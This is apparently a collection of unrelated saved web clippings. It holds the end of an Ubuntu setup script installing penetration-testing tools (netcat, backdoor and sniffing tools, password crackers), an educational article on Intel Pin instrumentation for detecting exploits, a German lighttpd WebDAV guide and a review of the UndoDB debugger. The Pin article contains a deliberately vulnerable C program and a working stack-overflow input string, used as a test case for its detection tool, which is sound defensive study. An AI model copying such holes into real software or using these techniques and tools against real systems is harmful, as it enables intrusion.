> apt-get -y install tn5250  
> apt-get -y install screen
> \# Filesystem Support  
> apt-get -y install sshfs  
> apt-get -y install ntfs-3g  
> apt-get -y install ntfs-config  
> apt-get -y install ntfsprogs  
> apt-get -y install mkisofs
> \# Gnome-Specific Configuration  
> apt-get -y install gconf  
> apt-get -y install gnomebaker  
> apt-get -y install nautilus-open-terminal
> \# ISAKMPD  
> \# apt-get -y install isakmpd  
> apt-get -y install vpnc
> \# Multimedia  
> apt-get -y install amarok  
> apt-get -y install xmms  
> apt-get -y install xmms-skins  
> apt-get -y install xmms-mp4  
> apt-get -y install mpg123  
> apt-get -y install totem-xine  
> apt-get -y install ksnapshot  
> apt-get -y install istanbul  
> apt-get -y install recordmydesktop  
> apt-get -y install gtk-recordmydesktop  
> apt-get -y install xvidcap
> \# Basics
> \# Netcat & Tunnelling  
> apt-get -y install netcat  
> apt-get -y install sbd  
> apt-get -y install cryptcat  
> apt-get -y install socat  
> apt-get -y install vtun  
> apt-get -y install stunnel
> \# Scanning Tools  
> apt-get -y install nmap  
> apt-get -y install nessusd  
> apt-get -y install nessus  
> apt-get -y install fping  
> apt-get -y install hping2  
> apt-get -y install hping3  
> apt-get -y install scapy  
> apt-get -y install snmp  
> \#apt-get -y install sing \#send icmp nasty garbage  
> apt-get -y install traceroute  
> apt-get -y install tcptraceroute  
> apt-get -y install ike-scan \#\# ipsec vpn tool  
> apt-get -y install nbtscan \#\# cifs info tool  
> apt-get -y install sslscan
> \# Passive Scanning Tools  
> apt-get -y install p0f  
> apt-get -y install pads
> \# Sniffing Tools  
> apt-get -y install wireshark  
> apt-get -y install ettercap  
> apt-get -y install ettercap-gtk  
> apt-get -y install tcpdump  
> apt-get -y install tcpflow  
> apt-get -y install ssldump  
> apt-get -y install nemesis \# packet injection  
> apt-get -y install dsniff  
> apt-get -y install etherape
> \# Libraries  
> apt-get -y install libssl \#Medusa  
> apt-get -y install libssl-dev \#Medusa  
> apt-get -y install libssh-2 \#Medusa  
> apt-get -y install python-pycurl \#wfuzz  
> apt-get -y install libnet-dns-perl \#fierce.pl  
> apt-get -y install libsnmp-perl \#??  
> apt-get -y install libcrypt-ssleay-perl \#HEAD,GET,POST, libwhisker  
> apt-get -y install libnet-ssleay-perl \# “” “”  
> apt-get -y install ncurses-dev \# kismet-newcore  
> apt-get -y install libpcap-dev \# kismet-newcore
> \# Cracking Tools  
> apt-get -y install john  
> apt-get -y install medusa  
> \#\# apt-get -y install hydra? \#\# not really that useful..
> \# Wireless Tools  
> \#\#apt-get -y install kismet \#\# disabled because of kismet-ng  
> apt-get -y install aircrack  
> apt-get -y install aircrack-ng
> \# App Layer Tools  
> apt-get -y install wget  
> apt-get -y install curl  
> apt-get -y install nikto
> \#\# Scripting  
> apt-get -y install ruby  
> apt-get -y install python  
> apt-get -y install perl  
> apt-get -y install perl-doc  
> apt-get -y install gawk  
> apt-get -y install vim-ruby  
> apt-get -y install vim-python
> \#\# Ruby – Gems  
> apt-get -y install gems  
> apt-get -y install rubygems
> \#\# Metasploit dependencies  
> apt-get -y install libopenssl-ruby  
> apt-get -y install ruby-libglade2  
> apt-get -y install libgtk2-ruby
> \#\# Scapy – Python Dependencies –
> http://www.secdev.org/projects/scapy/portability.html  
> apt-get -y install graphviz \# graph stuff  
> apt-get -y install imagemagick \# graph stuff  
> apt-get -y install python-gnuplot \# PacketList.plot\(\)  
> apt-get -y install python-crypto \# WEP Stuff  
> apt-get -y install python-visual \# 3D Stuff  
> apt-get -y install python-pyx \# pdfdump\(\) / psdump\(\)  
> apt-get -y install acroread  
> apt-get -y install gv  
> apt-get -y install sox
> \#\# ProxyStrike Dependencies  
> apt-get -y install python-qt4  
> apt-get -y install python-openssl
> \#\# W3af Dependencies  
> apt-get -y install python-pyparsing  
> apt-get -y install python-pydot  
> apt-get -y install python-soappy
> \#\# Coding  
> \#\#apt-get -y install eclipse – get the latest version…  
> apt-get -y install kdevelop  
> apt-get -y install subversion  
> apt-get -y install rapidsvn  
> apt-get -y install vim-full  
> apt-get -y install git  
> apt-get -y install git-core
> \#\# Documentation  
> apt-get -y install notecase  
> apt-get -y install vim  
> apt-get -y install liferea
> \#\# Web / Browser Utilities  
> apt-get -y install azureus  
> apt-get -y install opera  
> apt-get -y install filezilla  
> apt-get -y install flashplugin-nonfree  
> apt-get -y install pidgin  
> apt-get -y install pidgin-otr  
> apt-get -y install thunderbird  
> apt-get -y install lightning-extension  
> apt-get -y install enigmail  
> apt-get -y install irssi  
> apt-get -y install silc  
> apt-get -y install tor
> \#\# Windows Stuff  
> apt-get -y install wine  
> apt-get -y install quicksynergy
> \#\# Encryption  
> apt-get -y install dmsetup  
> apt-get -y install password-gorilla  
> apt-get -y install gpa  
> apt-get -y install seahorse
> \#\# Java  
> apt-get -y install sun-java6-jre  
> apt-get -y install sun-java6-plugin
> \#set our java version to java-6-sun as this plays well with burpsuite  
> update-java-alternatives -s java-6-sun
> \#\# Upgrade & Such  
> apt-get update  
> apt-get upgrade  
> apt-get dist-upgrade
> \#\# Remove auto-start services  
> update-rc.d -f exim4 remove  
> update-rc.d -f tor remove  
> update-rc.d -f ntop remove  
> update-rc.d -f p0f remove \#\# not sure this is necessary  
> update-rc.d -f pads remove  
> update-rc.d -f isakmpd remove  
> update-rc.d -f nessusd remove  
> update-rc.d -f cups remove  
> update-rc.d -f samba remove  
> update-rc.d -f nis remove  
> update-rc.d -f nfs-common remove
> \#\#\# Manual installs  
> \#\#\# ——————————————————————————————  
> \#\#\# truecrypt — http://www.howtogeek.com/howto/ubuntu/install-truecrypt-
> on-ubuntu-edgy/  
> \#\#\# – you will need the linux kernel source for this one…  
> \#\#\# onesixtyone — http://www.phreedom.org/solar/onesixtyone/  
> \#\#\# libdvdcss2 — “sudo /usr/share/doc/libdvdread3/./install-css.sh”
> \#\#\# oh yes, and pull down the “real” toolkit from subversion - email if
> you’re interested in this -> jcran\_AT\_0×0e.org
you can also download the script
here:http://www.0×0e.org/x/consultant\_ubuntu\_setup.sh

* * *
**Possibly related posts: \(automatically generated\)**

  * apt aliases
  * Command Line Package Management \[Debian Based\]
  * ติดตั้ง Subversion 1.4.3 บน Linux \(Ubuntu 6.10 Edgy\)

# Scrammed\!: Binary Instrumentation for Exploit Analysis Purposes \(part 1\)

**Created:**| _3/11/2013 8:31:35 AM_  
---|---  
**Updated:**| _3/11/2013 8:31:35 AM_  
**Author:**| __  
**Tags:**| _Debugging binary instrumentation Exploit_  
  

# Binary Instrumentation for Exploit Analysis Purposes \(part 1\)

_Introduction._  
  
This article is about binary instrumentation over various exploit scenarios.
In particular, we are going to use Pin , a software developed by Intel, to
show how this approach can help with the analysis.  
  
Pin is employed to create dynamic program analysis tools, the so called
"Pintools". Once executed, a Pintool acts almost like a virtual machine that
runs the code from a target executable image and rebuilds it by adding the
code you need to perform your own analysis. For example, you can: install a
callback that is invoked every time a single instruction is executed; inspect
registers; alter the context and so on.  
  
_Note_ : I've tested the whole work using Windows XP 32 bit and Visual Studio
2010.  
  
  
_How to compile and execute a Pintool._  
The simplest way to compile a Pintool is to use the Visual Studio project
provided by Intel, located in the Pin folder at: \source\tools\MyPinTool .  
  
To run it, simply type: pin -t <your\_pintool.dll> \-- <application\_path>.  
In this way your Pintool will be executed within the application you want to
test.

_How to code a Pintool: a \(very\) short description._

A Pintool begins with a standard initialization of the Pin engine by using the
"PIN\_Init\(\)" function; then, you need to register the callbacks for the
events you want to handle.  
For instance, you can use:

  * "INS\_AddInstrumentFunction\(\)" to register a callback that is invoked at every executed instruction;
  * "IMG\_AddInstrumentFunction\(\)" to register a callback that notifies you every time an executable module is loaded;
  * "PIN\_AddThreadStartFunction\(\)" and "PIN\_AddThreadFiniFunction\(\)" to handle thread creation and ending.

In particular, if you register a callback with
"INS\_AddInstrumentFunction\(\)", you can then use the "INS\_InsertCall\(\)"
function from it and register other callbacks.  
These callbacks have a special property: they can be invoked before or after
an instruction is executed. Also, you can pass to them any kind of data,
including the value of specific registers \(the instruction pointer, for
instance\), memory addresses and so on.  
  
Finally, you'll have to use "PIN\_AddFiniFunction\(\)" to register the
callback that is invoked when the application quits.  
  
Once all the callbacks are registered, you can start the instrumented program
by calling "PIN\_StartProgram\(\)".  
  
Your Pintool can filter specific conditions with an incredibly accurate
resolution, but bear in mind that the performances may degrade badly depending
on what kind of actions you choose to do.  
  
As an example, let's consider again the "INS\_AddInstrumentFunction\(\)", and
suppose that we are going to register a callback that logs every executed
instruction to a file: if you are distracted, you might generate a file I/O
for every single instruction, which is very inefficient. Another operation
that will reduce your Pintool's performances, if called frequently, is the
disassembler functionality.  
So be careful: your instrumented application can run almost at realtime speed
if your Pintool is well written, but a bad implementation may slow down your
application up to the point where it will take minutes to run.  
  
  
_A basic Pintool._  
  
Here is a very basic Pintool to which we will add more specific functions
later.

[code]

     #include <stdio.h>  
     #include "pin.H"   
       
     namespace WINDOWS  
     {  
         #include <windows.h>  
     }  
       
     FILE * OutTrace;  
     ADDRINT ExceptionDispatcher = 0;
       
     /* ===================================================================== */  
     /* Instrumentation functions                                             */  
     /* ===================================================================== */  
       
     VOID DetectEip(ADDRINT AddrEip, ...)   
     {  
         if(AddrEip == ExceptionDispatcher)  
         {  
             fprintf(OutTrace, "%08x Exception occurred!\n", AddrEip);   
         } 
    
         // Here you can call the functions that we will add
         //(you should also remove the next line to avoid tracing every instruction being executed)
       
         fprintf(OutTrace, "%08x \n", AddrEip);  
     }  
       
     // Pin calls this function every time a new instruction is encountered  
     VOID Instruction(INS Ins, VOID *v)  
     {  
         // Insert a call to DetectEip before every instruction, and pass it the IP  
         INS_InsertCall(Ins, IPOINT_BEFORE, (AFUNPTR)DetectEip, IARG_INST_PTR, IARG_END);  
     }  
       
     VOID ImageLoad(IMG Img, VOID *v)  
     {  
         fprintf(OutTrace, "Loading module %s \n", IMG_Name(Img).c_str());  
         fprintf(OutTrace, "Module Base: %08x \n", IMG_LowAddress(Img));  
         fprintf(OutTrace, "Module end: %08x \n", IMG_HighAddress(Img));  
         fflush(OutTrace);  
     }  
       
     /* ===================================================================== */  
     /* Finalization function                                                 */  
     /* ===================================================================== */  
       
     // This function is called when the application exits  
     VOID Fini(INT32 code, VOID *v)  
     {  
         fprintf(OutTrace, "Terminating execution\n");  
         fflush(OutTrace);  
         fclose(OutTrace);  
     }  
       
     /* ===================================================================== */  
     /* Print Help Message                                                    */  
     /* ===================================================================== */  
       
     INT32 Usage()  
     {  
         PIN_ERROR("Init error\n");  
         return -1;  
     }  
       
     /* ===================================================================== */  
     /* Main                                                                  */  
     /* ===================================================================== */  
       
     int main(int argc, char * argv[])  
     {  
         OutTrace = fopen("itrace.txt", "wb");  
       
         WINDOWS::HMODULE hNtdll;  
         hNtdll = WINDOWS::LoadLibrary("ntdll");  
         ExceptionDispatcher = (ADDRINT)WINDOWS::GetProcAddress(hNtdll, "KiUserExceptionDispatcher");  
         fprintf(OutTrace, "Exception handler address: %08x \n", ExceptionDispatcher);  
         WINDOWS::FreeLibrary(hNtdll);  
       
         // Initialize pin  
         if (PIN_Init(argc, argv))   
         {  
             Usage();  
         }  
       
         // Register Instruction to be called to instrument instructions  
         INS_AddInstrumentFunction(Instruction, 0);  
       
         // Register ImageLoad to be called at every module load  
         IMG_AddInstrumentFunction(ImageLoad, 0);  
       
         // Register Fini to be called when the application exits  
         PIN_AddFiniFunction(Fini, 0);  
         
         // Start the program, never returns  
         fprintf(OutTrace, "Starting Pintool\n");   
         PIN_StartProgram();  
       
         return 0;  
     }    
    
[/code]

  
It basically logs to a file: the address of each instruction being executed;
all the exceptions occurred; the name of each module being loaded, including
the base and the end address.  
  
I have also put a comment in the "DetectEip\(\)" function, to specify where
you can call the functions we will add later.  
  
  
_First exploit scenario: stack overflow._  
  
As a first case study, we are going to consider a specially crafted sample:

[code]

     #include <stdio.h>  
     #include <string.h>  
       
     unsigned char Var[2] = {0xFF, 0xE4};  
       
     void GetPassword(){  
      char Password[12];  
       
      memset(Password, 0, sizeof(Password));  
      printf("Insert your password (max 12 chars):\n");  
       
      int i = -1;  
      do{  
        i++;  
        Password[i] = getchar();  
      } while (Password[i] != 0x0D && Password[i] != 0x0A);  
      Password[i] = 0;  
       
      printf("Your password is: %s \n", Password);  
     }  
       
     void main(void){  
      GetPassword();  
     }  
    
[/code]

  
Before compiling and linking it \(I used Visual Studio 10\), be sure to
disable all the security options \(stack canaries, DEP, ASLR\) and to set the
Base Address to 0x41410000.  
I know it might sound a little unreal, and in fact... it is\! But don't worry,
as I said before, this is just the simplest example that crossed my mind and
we are going to use it as a first test. Anyway the methodology I'm proposing
is very effective and we will see a real case study later.  
  
First, we need to "exploit" this little test: I'll be quick. We can open the
executable with Ollydbg and debug it until we find the "getchar" function,
that grabs an input string. Then, we enter the following \(in my case at
least, you should check the parameters explained later if you want to be 100%
sure\!\): "123456789abcAAAA 0AABBBBBBBBBBBBBBBBBBB" \(remove the " "\).  
  
What's the meaning of it? We are going to fill all the 12 required bytes, and
because of the lack of control over the size of the input, we also type:

  * "AAAA", that is the padding added by the compiler;
  * " 0AA", that corresponds to the 0x41413020 address \(= "AA0 ", because of the endianness\) where the "JMP ESP" instruction \(= "0xFF 0xE4" as an opcode\) is located --- this will overwrite the return address of the "main" function;
  * a bunch of "B", that corresponds to the "INC EDX" instruction --- this is where you will usually put the shellcode, but as a test every valid instruction will be fine\!

Now that you have tested that the string I provided works also in your case,
or you have built your own valid string, we are ready to analyze our first
exploit scenario: a simple stack overflow. How can we detect that?  
The most natural idea is to perform a check over EIP to see whether its value
corresponds to a non-executable area \(the stack in this case\).  
  
The Pintool maintains two variables containing the base and end address of the
module being executed.  
If the value of the EIP isn't in the range specified by these two addresses,
Pintool accesses the modules list maintained by Pin, looking for a new
executable module in which the value of EIP resides \(for instance, after an
API call\). When such a module is found, the variables containing the base and
end address are updated \(making it the current module\).  
If the value of EIP isn't located within any of the modules, the Pintool
reports it as suspicious and logs the list of the last 1000 executed values of
EIP.  
  
Here is the code to do that:

[code]

     #define LAST_EXECUTED 1000  
     ADDRINT LastExecutedBuf[LAST_EXECUTED];  
     UINT32 LastExecutedPos;
     ADDRINT CurrentModuleBase, CurrentModuleEnd;  
       
     bool IsModuleFound(ADDRINT Addr)  
     {  
         for(IMG Img = APP_ImgHead(); IMG_Valid(Img); Img = IMG_Next(Img))  
         {  
             if(Addr >= IMG_LowAddress(Img) &&  
                 Addr <= IMG_HighAddress(Img))    // <=, not <  
             {  
                 CurrentModuleBase = IMG_LowAddress(Img);  
                 CurrentModuleEnd = IMG_HighAddress(Img);  
                 return true;  
             }  
         }  
       
         return false;  
     }  
       
     void CheckEipModule(ADDRINT AddrEip)  
     {  
         int i;  
         if(! (AddrEip >= CurrentModuleBase && AddrEip < CurrentModuleEnd) )  
         {  
             if(!IsModuleFound(AddrEip))  
             {  
                 // eip is no within an executable image!  
                 fprintf(OutTrace, "EIP detected not within an executable module: %08x \n", AddrEip);  
                 fprintf(OutTrace,"Dumping list of previously executed EIPs \n");  
                 for(i = LastExecutedPos; i < LAST_EXECUTED; i++)  
                 {  
                     fprintf(OutTrace, "%08x \n", LastExecutedBuf[i]);   
                 }  
                 for(i = 0; i < LastExecutedPos; i++)  
                 {  
                     fprintf(OutTrace, "%08x \n", LastExecutedBuf[i]);   
                 }  
                 fprintf(OutTrace, "%08x \n --- END ---", AddrEip);   
                 fflush(OutTrace);  
                 WINDOWS::ExitProcess(0);  
             }  
         }  
       
         LastExecutedBuf[LastExecutedPos] = AddrEip;  
         LastExecutedPos++;  
         if(LastExecutedPos >= LAST_EXECUTED)  
         {  
             // circular logging  
             LastExecutedPos = 0;  
         }  
     }  
    
[/code]

  
You can simply copy it in the provided basic Pintool, but remember to also add
the line:  
  
CheckEipModule\(AddrEip\);  
  
in the "DetectEip\(\)" function \(where specified by the comment\).  
  
Compile/link the Pintool and execute it.  
  
Once executed, it will generate a log \(I've cut some lines\!\) like the
following:  
  
Exception handler address: 7c91eaec  
Starting Pintool  
Loading module C:\\...\StackBof.exe  
Module Base: 41410000  
Module end: 41414fff  
Loading module C:\WINDOWS\system32\kernel32.dll  
Module Base: 7c800000  
Module end: 7c8fefff  
Loading module C:\WINDOWS\system32\ntdll.dll  
Module Base: 7c910000  
Module end: 7c9c5fff  
Loading module C:\WINDOWS\system32\MSVCR100.dll  
Module Base: 78aa0000  
Module end: 78b5dfff  
EIP detected not within an executable module: 0012ff84  
Dumping list of previously executed EIPs  
78ac005f  
78ac0061  
78ac0062  
78ac0063  
78ac0069

78ab0cd7

78ab0cd8

78b05747

4141104f

41411052

41411053

41411054

41411056

41411057

41411059

4141105a

41413020

0012ff84

\--- END ---

It's very simple to understand what happened just by reading the log:

  * the RET instruction is located at the address "0x4141105A";
  * it jumps to the overwritten return address, that is the address "0x41413020", where a "JMP ESP" is located;
  * Pintool successfully detects that we are trying to execute code within a non executable module \(that is the "0x0012FF84" address, belonging to the stack\).

_Conclusions_

This was an introductory article on binary instrumentation for exploit
analysis purposes and I really hope you liked it\! See you for the second part
in a few days, where I will discuss another scenario: a real pdf exploit, that
makes use of ROP and Heap Spraying.

# Wie man WebDAV mit Lighttpd auf Debian Etch konfiguriert | HowtoForge
**Created:**| _1/18/2010 10:59:40 AM_  
---|---  
**Updated:**| _1/18/2010 10:59:56 AM_  
**Author:**| __  
**Tags:**| _setup web Lab-Setup_  
  

# Wie man WebDAV mit Lighttpd auf Debian Etch konfiguriert

Version 1.0  
Autor: Falko Timme <ft \[at\] falkotimme \[dot\] com>  
Last edited 07/24/2008 Diese Anleitung erklärt, wie man WebDAV mit lighttpd
auf einem Debian Etch Server konfiguriert. WebDAV ist eine Abkürzung für
_Web-based Distributed Authoring and Versioning_ und zudem ein Set von
Extensions für das HTTP Protokoll, das dem Nutzer erlaubt Dateien direkt auf
dem lighttpd Server zu editieren. Dateien müssen nun nicht mehr vorab über FTP
herunter- oder hochgeladen werden. Trotzdem kann man WebDAV auch dafür
benutzen, Dateien hoch- oder herunterzuladen. <img src='img/Temp2_9504.gif'
width='0' height='0' />Ich weise darauf hin, keine Garantie dafür übernehmen
zu können, dass dies bei Dir genau so funktioniert\!

### 1 Vorbemerkung

Ich nutze hier einen Debian Etch Server mit der IP Adresse 192.168.0.100.

### 2 WebDAV installieren

Lighttpd \(falls nicht schon vorab vorhanden\), das lighttpd WebDAV Modul
sowie das apache2-utils Paket \(welches das htpasswd Tool enthält, das wir
später brauchen werden um eine Passwort-Datei für den WebDAV Teil zu
generieren\) werden wie folgt eingerichtet: apt-get install lighttpd lighttpd-
mod-webdav apache2-utils Danach wird das Verzeichnis /var/run/lighttpd
erstellt und der www-data Nutzer und Gruppe zugewiesen. Dieses Verzeichnis
enthält die SQLite Datenbank, die WebDAV benötigt: mkdir /var/run/lighttpd/  
chown www-data:www-data /var/run/lighttpd/ Als nächstes wird das Modul mod\_auth aktiviert: lighty-enable-mod auth … und /etc/lighttpd/lighttpd.conf wird geöffnet, um sicher zu stellen, dass die Module mod\_alias und mod\_webdav im Bereich server.modules aktiviert wurden: vi /etc/lighttpd/lighttpd.conf | 
[code]

    [...]
    server.modules              = (
                "mod_access",
                "mod_alias",
                "mod_accesslog",
    #           "mod_rewrite",
    #           "mod_redirect",
    #           "mod_status",
    #           "mod_evhost",
    #           "mod_compress",
    #           "mod_usertrack",
    #           "mod_rrdtool",
                "mod_webdav",
    #           "mod_expire",
    #           "mod_flv_streaming",
    #           "mod_evasive"
    
     )
    [...]
    
[/code]  
---  
Lighttpd wird nun neu gestartet:

/etc/init.d/lighttpd restart

### 3 Einen virtuellen Host einrichten

Wir werden nun einen lighttpd V-Host \(www.example.com\) im Verzeichnis
/var/www/web1/web einrichten. Wenn ein V-Host schon vorhanden ist, für das
WebDAV nur noch aktiviert werden muss, können die Anleitungschritte
entsprechend angepasst werden.

Zuerst wird das /var/www/web1/web Verzeichnis erstellt und der Lighttpd Nutzer
\(www-data\) als Besitzer dem Verzeichnis zugeordnet:

mkdir -p /var/www/web1/web  
chown www-data:www-data /var/www/web1/web

Dann öffnen wir /etc/lighttpd/lighttpd.conf und fügen folgenden V-Host dem
Ende der Datei hinzu :

vi /etc/lighttpd/lighttpd.conf

[code]

    [...]
    $HTTP["host"] == "www.example.com" {
      server.document-root = "/var/www/web1/web"
    
    }
    
[/code]  
---  
Nun wird lighttpd neu gestartet:

/etc/init.d/lighttpd restart

### 4 Den virtuellen Host für WebDAV konfigurieren

In diesem Schritt erstellen wir die WebDAV Passwort Datei
/var/www/web1/passwd.dav mit dem Nutzer test \(der -c Switch erstellt die
Datei, falls sie nicht existieren sollte\):

htpasswd -c /var/www/web1/passwd.dav test

Die Eingabe des Passwortes für den Nutzer test wird nun angefordert.

\(Achtung, bitte den -c Switch nicht nutzen falls /var/www/web1/passwd.dav
bereits schon vorhanden ist, andernfalls wird die Datei als komplett neue
Datei wiederhergestellt, was den Verlust aller User in der Datei bedeuten
würde\!\)

Nun ändern wir die Berechtigungen für die Datei/var/www/web1/passwd.dav. Nur
noch root und die Mitglieder der www-data Gruppe haben einen Zugriff dazu:

chown root:www-data /var/www/web1/passwd.dav  
chmod 640 /var/www/web1/passwd.dav

Anschliessend modifizieren wir den V-Host in /etc/lighttpd/lighttpd.conf so
dass er folgendermassen aussieht:

vi /etc/lighttpd/lighttpd.conf

[code]

    $HTTP["host"] == "www.example.com" {
      server.document-root = "/var/www/web1/web"
      alias.url = ( "/webdav" => "/var/www/web1/web" )
      $HTTP["url"] =~ "^/webdav($|/)" {
        webdav.activate = "enable"
    
        webdav.is-readonly = "disable"
        webdav.sqlite-db-name = "/var/run/lighttpd/lighttpd.webdav_lock.db"
        auth.backend = "htpasswd"
        auth.backend.htpasswd.userfile = "/var/www/web1/passwd.dav"
        auth.require = ( "" => ( "method" => "basic",
                                 "realm" => "webdav",
                                 "require" => "valid-user" ) )
      }
    }
    
[/code]  
---  
Die Anweisung alias.url bewirkt \(zusammen mit $HTTP\["url"\] =~
“^/webdav\($|/\)”\) dass bei der Eingabe von /webdav tatsächlich WebDAV
aufgerufen wird, aber dennoch kann der vollständige Document-Root des V-Host
erreicht werden. Alle anderen URLs des V-Hosts sind noch “normale” HTTP.

Wieder starten wir lighttpd neu:

/etc/init.d/lighttpd restart

### 5 WebDAV testen

Wir installieren nun cadaver, ein Kommandozeilen Client für WebDAV:

apt-get install cadaver

Die Eingabe zur Überprüfung von WebDAVlautet:

cadaver http://www.example.com/webdav/

Die Eingabe eines Benutzernamens wird angefordert . Gib test ein und das
entsprechende Passwort für den Nutzer test. Wenn alles richtig eingerichtet
wurde, sollte der Zugang nun möglich sein. Mit der Eingabe quit verlässt man
die WebDAV Shell:

server1:~\# cadaver http://www.example.com/webdav/  
Authentication required for webdav on server \`www.example.com’:  
Username: test  
Password:  
dav:/webdav/> quit  
Connection to \`www.example.com’ closed.  
server1:~\#

### 6 Einen Windows XP Client für die Verbindung mit der WebDAV Share
konfigurieren

Diese Anleitung liegt bereits unter http://www.howtoforge.com/setting-up-
webdav-with-apache2-on-debian-etch-p2vor.

Bitte gib den genauen Port für die WebDAV URL an, z.B.
http://www.example.com:80/webdav. Aus unerklärlichen Gründen bewirkt dieses,
dass Windows XP den normalen Usernamen \(z.B. test\) akzeptiert – ansonsten
erwartet Windows XP NTLM Nutzernamen \(diese hätten die Form
www.example.comtest\).

### 7 Einen Linux Client \(GNOME\) für die Verbindung mit dem WebDAV Share
konfigurieren

Diese Anleitung liegt bereits unter http://www.howtoforge.com/setting-up-
webdav-with-apache2-on-debian-etch-p3 vor.

### 8 Links

  * WebDAV: http://www.webdav.org
  * Lighttpd: http://www.lighttpd.net
  * Debian: http://www.debian.org

# Jack Whitham: Review: UndoDB, a reversible debugger

**Created:**| _5/4/2015 4:33:48 PM_  
---|---  
**Updated:**| _5/4/2015 4:33:48 PM_  
**Author:**| __  
**Tags:**| _Debugging reversing_  
  

# Review: UndoDB, a reversible debugger

This is a review of a reversible debugger named UndoDB. It's a debugger for
Linux, with GDB compatibility, which means it is a drop-in replacement for
debugger frontends on the Linux platform \(e.g. Eclipse, DDD, and also the IDE
I use at work, which is GNAT Programming Studio\).  
  
Like recent versions of GDB, it is able to "run" code _backwards_ , rewinding
through whatever the program did. But unlike GDB's reverse debugging mode, it
is fast and usable. GDB implements the reverse feature by recording the result
of each instruction, whereas UndoDB reconstructs earlier state by using
snapshots and the stored results of system calls.  
  
As this review is positive, I must say that it is an independent review. I
have no connection to the company making the tool beyond being a customer.  
  
I am always interested in improved development tools. Though I can work with
"traditional" tools such as vim, I still appreciate the value of cool new
things that speed up development, like the Intellisense-like features provided
by IDEs, or the invaluable error-detection capabilities of Valgrind, or
powerful profiling technologies like perf, particularly when coupled with nice
visualisations like Flame Graphs. For many years now, Valgrind has been one of
the "killer apps" that makes a complete switch to Windows totally unthinkable.
And now, with UndoDB, there is another.  
  
I first saw a reversible debugger at a trade show. Based on Jakob Engblom's
history of reversible debuggers, I think it must have been Green Hills' Time
Machine. I immediately wanted one that I could use on my own PC in place of
GDB. As a result, when reversible debugging was added to GDB, I was keen to
try it out - but was quickly disappointed by the poor performance.  
  
Reversible debugging helps me at work, but I can't go into detail about that,
so I'll instead explain how I used UndoDB's 30 day free trial on my home
computer. As a hobby project, I have been working on a benchmark based on
Quake 2; earlier posts describe it. During this work I hit a number of issues
related to floating-point numbers. For instance, a debug \(-O0\) build would
produce one result for a certain floating-point function, and a release
\(-O2\) build would produce a different result. The difference could be seen
in the 3D graphics rendered by the game. Understanding and resolving these
problems was the main issue in developing the benchmark.  
  
I could only work on it in my spare time, and I don't have much of that. So I
needed a way to quickly go from an observed difference in some rendered pixel
back to the cause of that difference.  
  
It is possible to do this with a traditional debugger, but the process is
tiresome. You can use a watchpoint to find where a certain variable is
assigned, but if it's assigned many times, then you have to find the relevant
assignment within a haystack of possibilities. So you have to use counters and
conditional breakpoints, and each time you want to move backwards, you have to
add new counters and new breakpoints and rerun the program. It is error-prone
and slow. If only the debugger could automate it\!  
  
That's where a reversible debugger helps. You can set breakpoints and
watchpoints _in the past_ , and then rewind to them. It seems this works for
any Linux application; it doesn't have to be compiled in a special way, and
you don't have to modify the Linux kernel - or even run anything as root.  
  
I think the best way to illustrate the potential is using a transcript of a
debugging session. In the following example, I am trying to find why a debug
build of Quake 2 using the GNU math library \(libm\) has produced a different
output to a debug build using the openlibm math library. The code is the same;
all that differs is that library. The session shown here uses GNU libm. In
parallel, I ran another session using openlibm, and entered the same commands
to look for differences.  
  
I begin at the point where a difference between the openlibm and GNU libm
versions of Quake 2 is detected by some test code. The difference is seen in
the rendered video output. The test code found a difference at pixel number
3559:

\(undodb-gdb\) print pos  
$2 = 3559 _// location of the difference in the video buffer_  
\(undodb-gdb\) print curframe  
$3 = 114 _// frame number that is different_  
\(undodb-gdb\) print vid.buffer\[3559\]  
$4 = 30 '\036' _// Here's the value of that pixel with GNU libm_  
_// The value is 159 with openlibm_

Now I find the location of that different byte in memory, set a watchpoint at
that location, and then run backwards to find where the value came from.

\(undodb-gdb\) print &vid.buffer\[3559\]  
$5 = \(pixel\_t \*\) 0x20c7987 "\036... _// location of the difference_

\(undodb-gdb\) watch \*\(char\*\) 0x20c7987  
Hardware watchpoint 2: \*\(char\*\) 0x20c7987  
\(undodb-gdb\) bcont _// Run backwards with "bcont"_

Execution stops at the point where it was last written. I look at the
expression that generated the value, to see where it got its inputs from.

Hardware watchpoint 2: \*\(char\*\) 0x20c7987  
  
Old value = 30 '\036' _// undodb stops at the point_  
New value = 46 '.' _// where the_ _byte is written_

0x00007fb100377826 in D\_DrawSpans16 \(pspan=0x7ffd0334a030\) at
/home/jwhitham/Quake-2/headless\_quake2/linux/../ref\_soft/r\_scan.c:514  
514 \*pdest++ = \*\(pbase + \(s >> 16\) + \(t >> 16\) \* cachewidth\);  
\(undodb-gdb\) print s  
$6 = 4915200

_// Different\! With openlibm I get 4915199_

\(undodb-gdb\) print t  
$7 = 1188545

_// Also different. With openlibm I get 1188546_

Having found two differences, I look through the source code to see how s and
t are calculated. I find that s is derived from a global variable,
d\_sdivzstepu. I set a watchpoint to find out where that value came from, and
again, I run backwards:

\(undodb-gdb\) print d\_sdivzstepu

$10 = 0.00160917651

_// Different. With openlibm I get 0.00160917663_  
\(undodb-gdb\) delete  
Delete all breakpoints? \(y or n\) y

\(undodb-gdb\) watch d\_sdivzstepu  
Hardware watchpoint 4: d\_sdivzstepu  
\(undodb-gdb\) bcont _// run backwards \(2nd time\)_  
Hardware watchpoint 4: d\_sdivzstepu  
  
Old value = 0.00160917651 _// Here's where d\_sdivzstepu was assigned_  
New value = 0.00191315648  
0x00007fb100361fa6 in D\_CalcGradients \(pface=0x7fb0ff0cd204\) at
/home/jwhitham/Quake-2/headless\_quake2/linux/../ref\_soft/r\_edge.c:817  
817 d\_sdivzstepu = p\_saxis\[0\] \* t;

Once again I look at the inputs to the expression, looking for a difference
between the two runs:

\(undodb-gdb\) print t  
$16 = 0.00249999994 _// This is the same_  
\(undodb-gdb\) print p\_saxis\[0\]  
$17 = 0.643670619 _// With openlibm I get 0.643670678_  
\(undodb-gdb\) delete  
Delete all breakpoints? \(y or n\) y  
\(undodb-gdb\) watch p\_saxis\[0\] _// Run backwards again to find why..._  
Hardware watchpoint 5: p\_saxis\[0\]  
\(undodb-gdb\) bcont _// 3rd call to bcont_  
Hardware watchpoint 5: p\_saxis\[0\]  
  
Old value = 0.643670619 _// Here's the source of p\_saxis\[0\]_  
New value = 5.30636976e-37  
0x00007fb100369025 in TransformVector \(in=0x7fb0ff01d724,
out=0x7ffd033490c0\) at
/home/jwhitham/Quake-2/headless\_quake2/linux/../ref\_soft/r\_misc.c:219  
219 out\[0\] = DotProduct\(in,vright\);  
